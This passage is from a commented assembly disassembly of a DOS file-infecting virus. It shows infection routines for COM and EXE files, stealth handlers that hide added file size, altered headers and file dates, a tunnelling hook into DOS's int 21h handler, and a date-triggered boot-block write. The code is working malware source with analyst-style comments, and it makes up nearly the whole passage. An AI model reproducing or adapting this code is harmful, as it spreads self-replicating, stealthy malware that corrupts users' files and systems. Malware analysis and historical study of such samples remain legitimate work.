  2104.                                                 ; parameter block
  2105.                 lds     si,dword ptr es:[bx+12h]; get cs:ip on execute return
  2106.                 jc      exit_loadnoexecute
  2107.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  2108.                 cmp     si,1                    ; check for EXE infection
  2109.                 je      loadnoexecute_EXE_already_infected
  2110.                                                 ; infected if initial IP = 1
  2111.                 mov     ax,[si]                 ; check for COM infection
  2112.                 add     ax,[si+2]               ; infected if checksum = 0
  2113.                 add     ax,[si+4]
  2114.                 jnz     perform_the_execute
  2115.                 mov     bx,[si+1]               ; get jmp location
  2116.                 mov     ax,ds:[bx+si-261h]      ; restore original COM file
  2117.                 mov     [si],ax
  2118.                 mov     ax,ds:[bx+si-25Fh]
  2119.                 mov     [si+2],ax
  2120.                 mov     ax,ds:[bx+si-25Dh]
  2121.                 mov     [si+4],ax
  2122.                 jmp     short perform_the_execute
  2123. loadnoexecute_EXE_already_infected:
  2124.                 mov     dx,word ptr ds:oldheader+16h ; get entry CS:IP
  2125.                 call    getcurrentPSP
  2126.                 mov     cx,cs:currentPSP
  2127.                 add     cx,10h                  ; adjust for PSP
  2128.                 add     dx,cx
  2129.                 mov     es:[bx+14h],dx          ; alter the entry point CS
  2130.                 mov     ax,word ptr ds:oldheader+14h
  2131.                 mov     es:[bx+12h],ax
  2132.                 mov     ax,word ptr ds:oldheader+0Eh ; alter stack
  2133.                 add     ax,cx
  2134.                 mov     es:[bx+10h],ax
  2135.                 mov     ax,word ptr ds:oldheader+10h
  2136.                 mov     es:[bx+0Eh],ax
  2137. perform_the_execute:
  2138.                 call    getcurrentPSP
  2139.                 mov     ds,cs:currentPSP
  2140.                 mov     ax,[bp+2]               ; restore length as held in
  2141.                 mov     word ptr ds:oldheader+6,ax
  2142.                 mov     ax,[bp+4]               ; the EXE header
  2143.                 mov     word ptr ds:oldheader+8,ax
  2144. exit_loadnoexecute:
  2145.                 jmp     _popall_then_exitint21
  2146.  
  2147. getDOSversion:
  2148.                 mov     byte ptr cs:hide_size,0
  2149.                 mov     ah,2Ah                  ; Get date
  2150.                 call    callint21
  2151.                 cmp     dx,916h                 ; September 22?
  2152.                 jb      exitDOSversion          ; leave if not
  2153.                 call    writebootblock          ; this is broken
  2154. exitDOSversion:
  2155.                 jmp     exitotherint21
  2156.  
  2157. infect_file:
  2158.                 call    replaceint13and24
  2159.                 call    findnextparagraphboundary
  2160.                 mov     byte ptr ds:EXEflag,1   ; assume is an EXE file
  2161.                 cmp     word ptr ds:readbuffer,'ZM' ; check here for regular
  2162.                 je      clearlyisanEXE              ; EXE header
  2163.                 cmp     word ptr ds:readbuffer,'MZ' ; check here for alternate
  2164.                 je      clearlyisanEXE              ; EXE header
  2165.                 dec     byte ptr ds:EXEflag         ; if neither, assume is a
  2166.                 jz      try_infect_com              ; COM file
  2167. clearlyisanEXE:
  2168.                 mov     ax,ds:lengthinpages     ; get file size in pages
  2169.                 shl     cx,1                    ; and convert it to
  2170.                 mul     cx                      ; bytes
  2171.                 add     ax,200h                 ; add 512 bytes
  2172.                 cmp     ax,si
  2173.                 jb      go_exit_infect_file
  2174.                 mov     ax,ds:minmemory         ; make sure min and max memory
  2175.                 or      ax,ds:maxmemory         ; are not both zero
  2176.                 jz      go_exit_infect_file
  2177.                 mov     ax,ds:filesizelow       ; get filesize in dx:ax
  2178.                 mov     dx,ds:filesizehigh
  2179.                 mov     cx,200h                 ; convert to pages
  2180.                 div     cx
  2181.                 or      dx,dx                   ; filesize multiple of 512?
  2182.                 jz      filesizemultiple512     ; then don't increment #
  2183.                 inc     ax                      ; pages
  2184. filesizemultiple512:
  2185.                 mov     ds:lengthinpages,ax     ; put in new values for length
  2186.                 mov     ds:lengthMOD512,dx      ; fields
  2187.                 cmp     word ptr ds:initialIP,1 ; check if already infected
  2188.                 je      exit_infect_file
  2189.                 mov     word ptr ds:initialIP,1 ; set new entry point
  2190.                 mov     ax,si                   ; calculate new entry point
  2191.                 sub     ax,ds:headersize        ; segment
  2192.                 mov     ds:initialcs,ax         ; put this in for cs
  2193.                 add     word ptr ds:lengthinpages,8 ; 4K more
  2194.                 mov     ds:initialSS,ax         ; put entry segment in for SS
  2195.                 mov     word ptr ds:initialSP,1000h ; set stack @ 1000h
  2196.                 call    finish_infection
  2197. go_exit_infect_file:
  2198.                 jmp     short exit_infect_file
  2199. try_infect_com:
  2200.                 cmp     si,0F00h                ; make sure file is under
  2201.                 jae     exit_infect_file        ; F00h paragraphs or else
  2202.                                                 ; it will be too large once it
  2203.                                                 ; is infected
  2204.                 mov     ax,ds:readbuffer        ; first save first 6 bytes
  2205.                 mov     word ptr ds:oldheader,ax
  2206.                 add     dx,ax
  2207.                 mov     ax,ds:readbuffer+2
  2208.                 mov     word ptr ds:oldheader+2,ax
  2209.                 add     dx,ax
  2210.                 mov     ax,ds:readbuffer+4
  2211.                 mov     word ptr ds:oldheader+4,ax
  2212.                 add     dx,ax                   ; exit if checksum = 0
  2213.                 jz      exit_infect_file        ; since then it is already
  2214.                                                 ; infected
  2215.                 mov     cl,0E9h                 ; encode jmp instruction
  2216.                 mov     byte ptr ds:readbuffer,cl
  2217.                 mov     ax,10h                  ; find file size
  2218.                 mul     si
  2219.                 add     ax,offset entervirus-3  ; calculate offset of jmp
  2220.                 mov     word ptr ds:readbuffer+1,ax ; encode it
  2221.                 mov     ax,ds:readbuffer        ; checksum it to 0
  2222.                 add     ax,ds:readbuffer+2
  2223.                 neg     ax
  2224.                 mov     ds:readbuffer+4,ax
  2225.                 call    finish_infection
  2226. exit_infect_file:
  2227.                 mov     ah,3Eh                  ; Close file
  2228.                 call    callint21
  2229.                 call    restoreint13and24
  2230.                 retn
  2231.  
  2232.  
  2233. findnextparagraphboundary:
  2234.                 push    cs
  2235.                 pop     ds
  2236.                 mov     ax,5700h                ; Get file time/date
  2237.                 call    callint21
  2238.                 mov     ds:filetime,cx
  2239.                 mov     ds:filedate,dx
  2240.                 mov     ax,4200h                ; Go to beginning of file
  2241.                 xor     cx,cx
  2242.                 mov     dx,cx
  2243.                 call    callint21
  2244.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  2245.                 mov     cl,1Ch
  2246.                 mov     dx,offset readbuffer
  2247.                 call    callint21
  2248.                 mov     ax,4200h                ; Go to beginning of file
  2249.                 xor     cx,cx
  2250.                 mov     dx,cx
  2251.                 call    callint21
  2252.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  2253.                 mov     cl,1Ch
  2254.                 mov     dx,offset oldheader
  2255.                 call    callint21
  2256.                 mov     ax,4202h                ; Go to end of file
  2257.                 xor     cx,cx
  2258.                 mov     dx,cx
  2259.                 call    callint21
  2260.                 mov     ds:filesizelow,ax       ; save filesize
  2261.                 mov     ds:filesizehigh,dx
  2262.                 mov     di,ax
  2263.                 add     ax,0Fh                  ; round to nearest paragraph
  2264.                 adc     dx,0                    ; boundary
  2265.                 and     ax,0FFF0h
  2266.                 sub     di,ax                   ; di=# bytes to next paragraph
  2267.                 mov     cx,10h                  ; normalize filesize
  2268.                 div     cx                      ; to paragraphs
  2269.                 mov     si,ax                   ; si = result
  2270.                 retn
  2271.  
  2272.  
  2273. finish_infection:
  2274.                 mov     ax,4200h                ; Go to beginning of file
  2275.                 xor     cx,cx
  2276.                 mov     dx,cx
  2277.                 call    callint21
  2278.                 mov     ah,40h                  ; Write new header to file
  2279.                 mov     cl,1Ch
  2280.                 mov     dx,offset readbuffer
  2281.                 call    callint21
  2282.                 mov     ax,10h                  ; convert paragraph boundary
  2283.                 mul     si                      ; to a byte value
  2284.                 mov     cx,dx
  2285.                 mov     dx,ax
  2286.                 mov     ax,4200h                ; go to first paragraph
  2287.                 call    callint21               ; boundary at end of file
  2288.                 xor     dx,dx
  2289.                 mov     cx,1000h
  2290.                 add     cx,di
  2291.                 mov     ah,40h                  ; Concatenate virus to file
  2292.                 call    callint21
  2293.                 mov     ax,5701h                ; Restore file time/date
  2294.                 mov     cx,ds:filetime
  2295.                 mov     dx,ds:filedate
  2296.                 test    dh,80h                  ; check for infection bit
  2297.                 jnz     highbitset
  2298.                 add     dh,0C8h                 ; alter if not set yet
  2299. highbitset:
  2300.                 call    callint21
  2301.                 cmp     byte ptr ds:DOSversion,3; if not DOS 3+, then
  2302.                 jb      exit_finish_infection   ; do not hide the alteration
  2303.                                                 ; in cluster count
  2304.                 cmp     byte ptr ds:hideclustercountchange,0
  2305.                 je      exit_finish_infection
  2306.                 push    bx
  2307.                 mov     dl,ds:filedrive
  2308.                 mov     ah,32h                  ; Get drive parameter block
  2309.                 call    callint21               ; for drive dl
  2310.                 mov     ax,cs:numfreeclusters
  2311.                 mov     [bx+1Eh],ax             ; alter free cluster count
  2312.                 pop     bx
  2313. exit_finish_infection:
  2314.                 retn
  2315.  
  2316.  
  2317. checkFCBokinfect:
  2318.                 call    saveregs
  2319.                 mov     di,dx
  2320.                 add     di,0Dh                  ; skip to extension
  2321.                 push    ds
  2322.                 pop     es
  2323.                 jmp     short performchecksum   ; and check checksum for valid
  2324.                                                 ; checksum
  2325.  
  2326. checkdsdxokinfect:
  2327.                 call    saveregs
  2328.                 push    ds
  2329.                 pop     es
  2330.                 mov     di,dx
  2331.                 mov     cx,50h                  ; max filespec length
  2332.                 xor     ax,ax
  2333.                 mov     bl,0                    ; default drive
  2334.                 cmp     byte ptr [di+1],':'     ; Is there a drive spec?
  2335.                 jne     ondefaultdrive          ; nope, skip it
  2336.                 mov     bl,[di]                 ; yup, get drive
  2337.                 and     bl,1Fh                  ; and convert to number
  2338. ondefaultdrive:
  2339.                 mov     cs:filedrive,bl
  2340.                 repne   scasb                   ; find terminating 0 byte
  2341. performchecksum:
  2342.                 mov     ax,[di-3]
  2343.                 and     ax,0DFDFh               ; convert to uppercase
  2344.                 add     ah,al
  2345.                 mov     al,[di-4]
  2346.                 and     al,0DFh                 ; convert to uppercase
  2347.                 add     al,ah
  2348.                 mov     byte ptr cs:EXEflag,0   ; assume COM file
  2349.                 cmp     al,0DFh                 ; COM checksum?
  2350.                 je      COMchecksum
  2351.                 inc     byte ptr cs:EXEflag     ; assume EXE file
  2352.                 cmp     al,0E2h                 ; EXE checksum?
  2353.                 jne     otherchecksum
  2354. COMchecksum:
  2355.                 call    restoreregs
  2356.                 clc                             ; mark no error
  2357.                 retn
  2358. otherchecksum:
  2359.                 call    restoreregs
  2360.                 stc                             ; mark error
  2361.                 retn
  2362.  
  2363.  
  2364. getcurrentPSP:
  2365.                 push    bx
  2366.                 mov     ah,51h                  ; Get current PSP segment
  2367.                 call    callint21
  2368.                 mov     cs:currentPSP,bx        ; store it
  2369.                 pop     bx
  2370.                 retn
  2371.  
  2372.  
  2373. setup_infection:
  2374.                 call    replaceint13and24
  2375.                 push    dx
  2376.                 mov     dl,cs:filedrive
  2377.                 mov     ah,36h                  ; Get disk free space
  2378.                 call    callint21
  2379.                 mul     cx                      ; ax = bytes per cluster
  2380.                 mul     bx                      ; dx:ax = bytes free space
  2381.                 mov     bx,dx
  2382.                 pop     dx
  2383.                 or      bx,bx                   ; less than 65536 bytes free?
  2384.                 jnz     enough_free_space       ; hopefully not
  2385.                 cmp     ax,4000h                ; exit if less than 16384
  2386.                 jb      exit_setup_infection    ; bytes free
  2387. enough_free_space:
  2388.                 mov     ax,4300h                ; Get file attributes
  2389.                 call    callint21
  2390.                 jc      exit_setup_infection    ; exit on error
  2391.                 mov     di,cx                   ; di = attributes
  2392.                 xor     cx,cx
  2393.                 mov     ax,4301h                ; Clear file attributes
  2394.                 call    callint21
  2395.                 cmp     byte ptr cs:errorflag,0 ; check for errors
  2396.                 jne     exit_setup_infection
  2397.                 mov     ax,3D02h                ; Open file read/write
  2398.                 call    callint21
  2399.                 jc      exit_setup_infection    ; exit on error
  2400.                 mov     bx,ax                   ; move handle to bx
  2401.                                                 ; xchg bx,ax is superior
  2402.                 mov     cx,di
  2403.                 mov     ax,4301h                ; Restore file attributes
  2404.                 call    callint21
  2405.                 push    bx
  2406.                 mov     dl,cs:filedrive         ; Get file's drive number
  2407.                 mov     ah,32h                  ; Get drive parameter block
  2408.                 call    callint21               ; for disk dl
  2409.                 mov     ax,[bx+1Eh]             ; Get free cluster count
  2410.                 mov     cs:numfreeclusters,ax   ; and save it
  2411.                 pop     bx                      ; return handle
  2412.                 call    restoreint13and24
  2413.                 retn
  2414. exit_setup_infection:
  2415.                 xor     bx,bx
  2416.                 dec     bx                      ; return bx=-1 on error
  2417.                 call    restoreint13and24
  2418.                 retn
  2419.  
  2420.  
  2421. checkforinfection:
  2422.                 push    cx
  2423.                 push    dx
  2424.                 push    ax
  2425.                 mov     ax,4400h                ; Get device information
  2426.                 call    callint21               ; (set hide_size = 2)
  2427.                 xor     dl,80h
  2428.                 test    dl,80h                  ; Character device?  If so,
  2429.                 jz      exit_checkforinfection  ; exit; cannot be infected
  2430.                 mov     ax,5700h                ; Otherwise get time/date
  2431.                 call    callint21
  2432.                 test    dh,80h                  ; Check year bit for infection
  2433. exit_checkforinfection:
  2434.                 pop     ax
  2435.                 pop     dx
  2436.                 pop     cx
  2437.                 retn
  2438.  
  2439. obtainfilesize:
  2440.                 call    saveregs
  2441.                 mov     ax,4201h                ; Get current file position
  2442.                 xor     cx,cx
  2443.                 xor     dx,dx
  2444.                 call    callint21
  2445.                 mov     cs:curfileposlow,ax
  2446.                 mov     cs:curfileposhigh,dx
  2447.                 mov     ax,4202h                ; Go to end of file
  2448.                 xor     cx,cx
  2449.                 xor     dx,dx
  2450.                 call    callint21
  2451.                 mov     cs:filesizelow,ax
  2452.                 mov     cs:filesizehigh,dx
  2453.                 mov     ax,4200h                ; Return to file position
  2454.                 mov     dx,cs:curfileposlow
  2455.                 mov     cx,cs:curfileposhigh
  2456.                 call    callint21
  2457.                 call    restoreregs
  2458.                 retn
  2459.  
  2460. getsetfiletimedate:
  2461.                 or      al,al                   ; Get time/date?
  2462.                 jnz     checkifsettimedate      ; if not, see if Set time/date
  2463.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  2464.                 call    _popall
  2465.                 call    callint21
  2466.                 jc      gettimedate_error       ; exit on error
  2467.                 test    dh,80h                  ; check year bit if infected
  2468.                 jz      gettimedate_notinfected
  2469.                 sub     dh,0C8h                 ; if so, hide change
  2470. gettimedate_notinfected:
  2471.                 jmp     exitint21
  2472. gettimedate_error:
  2473.                 or      word ptr cs:int21flags,1; turn on trap flag
  2474.                 jmp     exitint21
  2475. checkifsettimedate:
  2476.                 cmp     al,1                    ; Set time/date?
  2477.                 jne     exit_filetimedate_pointer
  2478.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  2479.                 test    dh,80h                  ; Infection bit set?
  2480.                 jz      set_yearbitset
  2481.                 sub     dh,0C8h                 ; clear infection bit
  2482. set_yearbitset:
  2483.                 call    checkforinfection
  2484.                 jz      set_datetime_nofinagle
  2485.                 add     dh,0C8h                 ; set infection flag
  2486. set_datetime_nofinagle:
  2487.                 call    callint21
  2488.                 mov     [bp-4],ax
  2489.                 adc     word ptr cs:int21flags,0; turn on/off trap flag
  2490.                 jmp     _popall_then_exitint21  ; depending on result
  2491.  
  2492. handlemovefilepointer:
  2493.                 cmp     al,2
  2494.                 jne     exit_filetimedate_pointer
  2495.                 call    checkforinfection
  2496.                 jz      exit_filetimedate_pointer
  2497.                 sub     word ptr [bp-0Ah],1000h ; hide file size
  2498.                 sbb     word ptr [bp-8],0
  2499. exit_filetimedate_pointer:
  2500.                 jmp     exitotherint21
  2501.  
  2502. handleread:
  2503.                 and     byte ptr cs:int21flags,0FEh ; clear trap flag
  2504.                 call    checkforinfection           ; exit if it is not
  2505.                 jz      exit_filetimedate_pointer   ; infected -- no need
  2506.                                                     ; to do stealthy stuff
  2507.                 mov     cs:savelength,cx
  2508.                 mov     cs:savebuffer,dx
  2509.                 mov     word ptr cs:return_code,0
  2510.                 call    obtainfilesize
  2511.                 mov     ax,cs:filesizelow       ; store the file size
  2512.                 mov     dx,cs:filesizehigh
  2513.                 sub     ax,1000h                ; get uninfected file size
  2514.                 sbb     dx,0
  2515.                 sub     ax,cs:curfileposlow     ; check if currently in
  2516.                 sbb     dx,cs:curfileposhigh    ; virus code
  2517.                 jns     not_in_virus_body       ; continue if not
  2518.                 mov     word ptr [bp-4],0       ; set return code = 0
  2519.                 jmp     handleopenclose_exit
  2520. not_in_virus_body:
  2521.                 jnz     not_reading_header
  2522.                 cmp     ax,cx                   ; reading from header?
  2523.                 ja      not_reading_header
  2524.                 mov     cs:savelength,ax        ; # bytes into header
  2525. not_reading_header:
  2526.                 mov     dx,cs:curfileposlow
  2527.                 mov     cx,cs:curfileposhigh
  2528.                 or      cx,cx                   ; if reading > 64K into file,
  2529.                 jnz     finish_reading          ; then no problems
  2530.                 cmp     dx,1Ch                  ; if reading from header, then
  2531.                 jbe     reading_from_header     ; do stealthy stuff
  2532. finish_reading:
  2533.                 mov     dx,cs:savebuffer
  2534.                 mov     cx,cs:savelength
  2535.                 mov     ah,3Fh                  ; read file
  2536.                 call    callint21
  2537.                 add     ax,cs:return_code       ; ax = bytes read
  2538.                 mov     [bp-4],ax               ; set return code properly
  2539.                 jmp     _popall_then_exitint21
  2540. reading_from_header:
  2541.                 mov     si,dx
  2542.                 mov     di,dx
  2543.                 add     di,cs:savelength
  2544.                 cmp     di,1Ch                  ; reading all of header?
  2545.                 jb      read_part_of_header     ; nope, calculate how much
  2546.                 xor     di,di
  2547.                 jmp     short do_read_from_header
  2548. read_part_of_header:
  2549.                 sub     di,1Ch
  2550.                 neg     di
  2551. do_read_from_header:
  2552.                 mov     ax,dx
  2553.                 mov     cx,cs:filesizehigh      ; calculate location in
  2554.                 mov     dx,cs:filesizelow       ; the file of the virus
  2555.                 add     dx,0Fh                  ; storage area for the
  2556.                 adc     cx,0                    ; original 1Ch bytes of
  2557.                 and     dx,0FFF0h               ; the file
  2558.                 sub     dx,0FFCh
  2559.                 sbb     cx,0
  2560.                 add     dx,ax
  2561.                 adc     cx,0
  2562.                 mov     ax,4200h                ; go to that location
  2563.                 call    callint21
  2564.                 mov     cx,1Ch
  2565.                 sub     cx,di
  2566.                 sub     cx,si
  2567.                 mov     ah,3Fh                  ; read the original header
  2568.                 mov     dx,cs:savebuffer
  2569.                 call    callint21
  2570.                 add     cs:savebuffer,ax
  2571.                 sub     cs:savelength,ax
  2572.                 add     cs:return_code,ax
  2573.                 xor     cx,cx                   ; go past the virus's header
  2574.                 mov     dx,1Ch
  2575.                 mov     ax,4200h
  2576.                 call    callint21
  2577.                 jmp     finish_reading          ; and continue the reading
  2578.  
  2579. handlewrite:
  2580.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  2581.                 call    checkforinfection
  2582.                 jnz     continue_handlewrite
  2583.                 jmp     exit_filetimedate_pointer
  2584. continue_handlewrite:
  2585.                 mov     cs:savelength,cx
  2586.                 mov     cs:savebuffer,dx
  2587.                 mov     word ptr cs:return_code,0
  2588.                 call    obtainfilesize
  2589.                 mov     ax,cs:filesizelow
  2590.                 mov     dx,cs:filesizehigh
  2591.                 sub     ax,1000h                ; calculate original file
  2592.                 sbb     dx,0                    ; size
  2593.                 sub     ax,cs:curfileposlow     ; writing from inside the
  2594.                 sbb     dx,cs:curfileposhigh    ; virus?
  2595.                 js      finish_write            ; if not, we can continue
  2596.                 jmp     short write_inside_virus; otherwise, fixup some stuff
  2597. finish_write:
  2598.                 call    replaceint13and24
  2599.                 push    cs
  2600.                 pop     ds
  2601.                 mov     dx,ds:filesizelow       ; calculate location in file
  2602.                 mov     cx,ds:filesizehigh      ; of the virus storage of the
  2603.                 add     dx,0Fh                  ; original 1Ch bytes of the
  2604.                 adc     cx,0                    ; file
  2605.                 and     dx,0FFF0h
  2606.                 sub     dx,0FFCh
  2607.                 sbb     cx,0
  2608.                 mov     ax,4200h
  2609.                 call    callint21
  2610.                 mov     dx,offset oldheader
  2611.                 mov     cx,1Ch
  2612.                 mov     ah,3Fh                  ; read original header
  2613.                 call    callint21
  2614.                 mov     ax,4200h                ; go to beginning of file
  2615.                 xor     cx,cx
  2616.                 mov     dx,cx
  2617.                 call    callint21
  2618.                 mov     dx,offset oldheader
  2619.                 mov     cx,1Ch
  2620.                 mov     ah,40h                  ; write original header to
  2621.                 call    callint21               ; the file
  2622.                 mov     dx,0F000h               ; go back 4096 bytes
  2623.                 mov     cx,0FFFFh               ; from the end of the
  2624.                 mov     ax,4202h                ; file and
  2625.                 call    callint21
  2626.                 mov     ah,40h                  ; truncate the file
  2627.                 xor     cx,cx                   ; at that position
  2628.                 call    callint21
  2629.                 mov     dx,ds:curfileposlow     ; Go to current file position
  2630.                 mov     cx,ds:curfileposhigh
  2631.                 mov     ax,4200h
  2632.                 call    callint21
  2633.                 mov     ax,5700h                ; Get file time/date
  2634.                 call    callint21
  2635.                 test    dh,80h
  2636.                 jz      high_bit_aint_set
  2637.                 sub     dh,0C8h                 ; restore file date
  2638.                 mov     ax,5701h                ; put it onto the disk
  2639.                 call    callint21
  2640. high_bit_aint_set:
  2641.                 call    restoreint13and24
  2642.                 jmp     exitotherint21
  2643. write_inside_virus:
  2644.                 jnz     write_inside_header     ; write from start of file?
  2645.                 cmp     ax,cx
  2646.                 ja      write_inside_header     ; write from inside header?
  2647.                 jmp     finish_write
  2648.  
  2649. write_inside_header:
  2650.                 mov     dx,cs:curfileposlow
  2651.                 mov     cx,cs:curfileposhigh
  2652.                 or      cx,cx                   ; Reading over 64K?
  2653.                 jnz     writemorethan1Chbytes
  2654.                 cmp     dx,1Ch                  ; Reading over 1Ch bytes?
  2655.                 ja      writemorethan1Chbytes
  2656.                 jmp     finish_write
  2657. writemorethan1Chbytes:
  2658.                 call    _popall
  2659.                 call    callint21               ; chain to int 21h
  2660.                                                 ; (allow write to take place)
  2661.                 call    _pushall
  2662.                 mov     ax,5700h                ; Get file time/date
  2663.                 call    callint21
  2664.                 test    dh,80h
  2665.                 jnz     _popall_then_exitint21_
  2666.                 add     dh,0C8h
  2667.                 mov     ax,5701h                ; restore file date
  2668.                 call    callint21
  2669. _popall_then_exitint21_:
  2670.                 jmp     _popall_then_exitint21
  2671.  
  2672.                 jmp     exitotherint21
  2673.  
  2674. int13:
  2675.                 pop     word ptr cs:int13tempCSIP ; get calling CS:IP off
  2676.                 pop     word ptr cs:int13tempCSIP+2 ; the stack
  2677.                 pop     word ptr cs:int13flags
  2678.                 and     word ptr cs:int13flags,0FFFEh ; turn off trap flag
  2679.                 cmp     byte ptr cs:errorflag,0 ; any errors yet?
  2680.                 jne     exitint13error          ; yes, already an error
  2681.                 push    word ptr cs:int13flags
  2682.                 call    dword ptr cs:origints
  2683.                 jnc     exitint13
  2684.                 inc     byte ptr cs:errorflag   ; mark error
  2685. exitint13error:
  2686.                 stc                             ; mark error
  2687. exitint13:
  2688.                 jmp     dword ptr cs:int13tempCSIP ; return to caller
  2689.  
  2690. int24:
  2691.                 xor     al,al                   ; ignore error
  2692.                 mov     byte ptr cs:errorflag,1 ; mark error
  2693.                 iret
  2694.  
  2695. replaceint13and24:
  2696.                 mov     byte ptr cs:errorflag,0 ; clear errors
  2697.                 call    saveregs
  2698.                 push    cs
  2699.                 pop     ds
  2700.                 mov     al,13h                  ; save int 13 handler
  2701.                 call    getint
  2702.                 mov     word ptr ds:origints,bx
  2703.                 mov     word ptr ds:origints+2,es
  2704.                 mov     word ptr ds:oldint13,bx
  2705.                 mov     word ptr ds:oldint13+2,es
  2706.                 mov     dl,0
  2707.                 mov     al,0Dh                  ; fixed disk interrupt
  2708.                 call    getint
  2709.                 mov     ax,es
  2710.                 cmp     ax,0C000h               ; is there a hard disk?
  2711.                 jae     harddiskpresent         ; C000+ is in BIOS
  2712.                 mov     dl,2
  2713. harddiskpresent:
  2714.                 mov     al,0Eh                  ; floppy disk interrupt
  2715.                 call    getint
  2716.                 mov     ax,es
  2717.                 cmp     ax,0C000h               ; check if floppy
  2718.                 jae     floppypresent
  2719.                 mov     dl,2
  2720. floppypresent:
  2721.                 mov     ds:tracemode,dl
  2722.                 call    replaceint1
  2723.                 mov     ds:savess,ss            ; save stack
  2724.                 mov     ds:savesp,sp
  2725.                 push    cs                      ; save these on stack for
  2726.                 mov     ax,offset setvirusints  ; return to setvirusints
  2727.                 push    ax
  2728.                 mov     ax,70h
  2729.                 mov     es,ax
  2730.                 mov     cx,0FFFFh
  2731.                 mov     al,0CBh                 ; retf
  2732.                 xor     di,di
  2733.                 repne   scasb                   ;scan es:di for retf statement
  2734.                 dec     di                      ; es:di->retf statement
  2735.                 pushf
  2736.                 push    es                      ; set up stack for iret to
  2737.                 push    di                      ; the retf statement which
  2738.                                                 ; will cause transfer of
  2739.                                                 ; control to setvirusints
  2740.                 pushf
  2741.                 pop     ax
  2742.                 or      ah,1                    ; turn on the trap flag
  2743.                 push    ax
  2744.                 in      al,21h                  ; save IMR in temporary
  2745.                 mov     ds:saveIMR,al           ; buffer and then
  2746.                 mov     al,0FFh                 ; disable all the
  2747.                 out     21h,al                  ; interrupts
  2748.                 popf
  2749.                 xor     ax,ax                   ; reset disk
  2750.                 jmp     dword ptr ds:origints   ; (int 13h call)
  2751.                                                 ; then transfer control to
  2752. setvirusints:                                   ; setvirusints
  2753.                 lds     dx,dword ptr ds:oldint1
  2754.                 mov     al,1                    ; restore old int 1 handler
  2755.                 call    setvect
  2756.                 push    cs
  2757.                 pop     ds
  2758.                 mov     dx,offset int13         ; replace old int 13h handler
  2759.                 mov     al,13h                  ; with virus's
  2760.                 call    setvect
  2761.                 mov     al,24h                  ; Get old critical error
  2762.                 call    getint                  ; handler and save its
  2763.                 mov     word ptr ds:oldint24,bx ; location
  2764.                 mov     word ptr ds:oldint24+2,es
  2765.                 mov     dx,offset int24
  2766.                 mov     al,24h                  ; Replace int 24 handler
  2767.                 call    setvect                 ; with virus's handler
  2768.                 call    restoreregs
  2769.                 retn
  2770.  
  2771.  
  2772. restoreint13and24:
  2773.                 call    saveregs
  2774.                 lds     dx,dword ptr cs:oldint13
  2775.                 mov     al,13h
  2776.                 call    setvect
  2777.                 lds     dx,dword ptr cs:oldint24
  2778.                 mov     al,24h
  2779.                 call    setvect
  2780.                 call    restoreregs
  2781.                 retn
  2782.  
  2783.  
  2784. disableBREAK:
  2785.                 mov     ax,3300h                ; Get current BREAK setting
  2786.                 call    callint21
  2787.                 mov     cs:BREAKsave,dl
  2788.                 mov     ax,3301h                ; Turn BREAK off
  2789.                 xor     dl,dl
  2790.                 call    callint21
  2791.                 retn
  2792.  
  2793.  
  2794. restoreBREAK:
  2795.                 mov     dl,cs:BREAKsave
  2796.                 mov     ax,3301h                ; restore BREAK setting
  2797.                 call    callint21
  2798.                 retn
  2799.  
  2800.  
  2801. _pushall:
  2802.                 pop     word ptr cs:pushpopalltempstore
  2803.                 pushf
  2804.                 push    ax
  2805.                 push    bx
  2806.                 push    cx
  2807.                 push    dx
  2808.                 push    si
  2809.                 push    di
  2810.                 push    ds
  2811.                 push    es
  2812.                 jmp     word ptr cs:pushpopalltempstore
  2813.  
  2814. swapvirint21:
  2815.                 les     di,dword ptr cs:oldint21; delve into original int
  2816.                 mov     si,offset jmpfarptr     ; handler and swap the first
  2817.                 push    cs                      ; 5 bytes.  This toggles it
  2818.                 pop     ds                      ; between a jmp to the virus
  2819.                 cld                             ; code and the original 5
  2820.                 mov     cx,5                    ; bytes of the int handler
  2821. swapvirint21loop:                               ; this is a tunnelling method
  2822.                 lodsb                           ; if I ever saw one
  2823.                 xchg    al,es:[di]              ; puts the bytes in DOS's
  2824.                 mov     [si-1],al               ; int 21h handler
  2825.                 inc     di
  2826.                 loop    swapvirint21loop
  2827.  
  2828.                 retn
  2829.  
  2830.  
  2831. _popall:
  2832.                 pop     word ptr cs:pushpopalltempstore
  2833.                 pop     es
  2834.                 pop     ds
  2835.                 pop     di
  2836.                 pop     si
  2837.                 pop     dx
  2838.                 pop     cx
  2839.                 pop     bx
  2840.                 pop     ax
  2841.                 popf
  2842.                 jmp     word ptr cs:pushpopalltempstore
  2843.  
  2844. restoreregs:
  2845.                 mov     word ptr cs:storecall,offset _popall
  2846.                 jmp     short do_saverestoreregs
  2847.  
  2848. saveregs:
  2849.                 mov     word ptr cs:storecall,offset _pushall
  2850. do_saverestoreregs:
  2851.                 mov     cs:storess,ss           ; save stack
  2852.                 mov     cs:storesp,sp
  2853.                 push    cs
  2854.                 pop     ss
  2855.                 mov     sp,cs:stackptr          ; set new stack
  2856.                 call    word ptr cs:storecall
  2857.                 mov     cs:stackptr,sp          ; update internal stack ptr
  2858.                 mov     ss,cs:storess           ; and restore stack to
  2859.                 mov     sp,cs:storesp           ; caller program's stack
  2860.                 retn
  2861.  
  2862.  
  2863. replaceint1:
  2864.                 mov     al,1                    ; get the old interrupt
  2865.                 call    getint                  ; 1 handler and save it
  2866.                 mov     word ptr cs:oldint1,bx  ; for later restoration
  2867.                 mov     word ptr cs:oldint1+2,es
  2868.                 push    cs
  2869.                 pop     ds
  2870.                 mov     dx,offset int1          ; set int 1 handler to
  2871.                 call    setvect                 ; the virus int handler
  2872.                 retn
  2873.  
  2874. allocatememory:
  2875.                 call    allocate_memory
  2876.                 jmp     exitotherint21
  2877.  
  2878. allocate_memory:
  2879.                 cmp     byte ptr cs:checkres,0  ; installed check
  2880.                 je      exitallocate_memory     ; exit if installed
  2881.                 cmp     bx,0FFFFh               ; finding total memory?
  2882.                 jne     exitallocate_memory     ; (virus trying to install?)
  2883.                 mov     bx,160h                 ; allocate memory to virus
  2884.                 call    callint21
  2885.                 jc      exitallocate_memory     ; exit on error
  2886.                 mov     dx,cs
  2887.                 cmp     ax,dx
  2888.                 jb      continue_allocate_memory
  2889.                 mov     es,ax
  2890.                 mov     ah,49h                  ; Free memory
